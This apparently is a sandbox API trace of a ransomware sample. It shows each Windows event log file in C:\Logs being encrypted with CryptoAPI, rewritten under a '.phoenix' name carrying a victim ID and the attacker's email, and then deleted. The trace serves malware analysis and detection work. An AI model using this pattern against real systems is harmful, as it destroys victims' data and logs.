	[0222.333] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0222.333] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0222.335] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0222.335] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.335] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0222.335] CryptDestroyKey (hKey=0x151700) returned 1
	[0222.335] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0222.335] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0222.335] CloseHandle (hObject=0x2d0) returned 1
	[0222.335] CloseHandle (hObject=0x2d8) returned 1
	[0222.337] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1
	[0222.339] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0222.339] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.339] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0222.339] CloseHandle (hObject=0x2d8) returned 1
	[0222.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20
	[0222.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.340] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.340] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.340] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.340] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0222.342] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0222.342] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.342] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.370] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0222.370] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0222.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0222.373] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.373] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0222.373] CryptDestroyKey (hKey=0x151440) returned 1
	[0222.373] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0222.373] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0222.373] CloseHandle (hObject=0x2d8) returned 1
	[0222.373] CloseHandle (hObject=0x2d0) returned 1
	[0222.375] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1
	[0222.376] SetEvent (hEvent=0x278) returned 1
	[0222.376] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0222.376] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0222.377] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0222.377] CloseHandle (hObject=0x2d0) returned 1
	[0222.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20
	[0222.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.377] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0222.377] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.377] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.377] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.377] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0222.377] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.378] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.424] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0222.424] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0222.427] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0222.427] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.427] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0222.427] CryptDestroyKey (hKey=0x151040) returned 1
	[0222.427] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0222.427] CryptDestroyKey (hKey=0x151580) returned 1
	[0222.427] CloseHandle (hObject=0x2d0) returned 1
	[0222.427] CloseHandle (hObject=0x2d8) returned 1
	[0222.454] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1
	[0222.455] SetEvent (hEvent=0x278) returned 1
	[0222.455] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0222.455] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.455] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0222.456] CloseHandle (hObject=0x2d8) returned 1
	[0222.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20
	[0222.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.456] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.456] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.456] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.456] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.520] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0222.520] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.520] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.547] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0222.547] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0222.550] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0222.550] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.550] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0222.550] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0222.550] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0222.550] CryptDestroyKey (hKey=0x151180) returned 1
	[0222.550] CloseHandle (hObject=0x2d8) returned 1
	[0222.550] CloseHandle (hObject=0x2cc) returned 1
	[0222.556] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1
	[0222.558] SetEvent (hEvent=0x278) returned 1
	[0222.558] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0222.558] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.558] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0222.558] CloseHandle (hObject=0x2cc) returned 1
	[0222.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20
	[0222.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.559] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.559] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.559] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.559] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.559] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0222.559] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.559] ReadFile (in: hFile=0x2cc, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.584] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0222.584] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0222.587] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0222.587] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.587] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0222.587] CryptDestroyKey (hKey=0x151140) returned 1
	[0222.587] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0222.587] CryptDestroyKey (hKey=0x151280) returned 1
	[0222.587] CloseHandle (hObject=0x2cc) returned 1
	[0222.587] CloseHandle (hObject=0x2d8) returned 1
	[0222.590] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1
	[0222.591] SetEvent (hEvent=0x278) returned 1
	[0222.591] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0222.591] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.591] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0222.591] CloseHandle (hObject=0x2d8) returned 1
	[0222.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20
	[0222.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.592] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.592] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.592] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.592] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.592] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0222.592] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.592] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.610] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0222.610] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0222.612] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0222.612] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.612] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0222.612] CryptDestroyKey (hKey=0x151040) returned 1
	[0222.612] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0222.612] CryptDestroyKey (hKey=0x151680) returned 1
	[0222.612] CloseHandle (hObject=0x2d8) returned 1
	[0222.613] CloseHandle (hObject=0x2cc) returned 1
	[0222.614] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1
	[0222.616] SetEvent (hEvent=0x278) returned 1
	[0222.616] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0222.616] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.636] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0222.636] CloseHandle (hObject=0x2cc) returned 1
	[0222.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20
	[0222.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
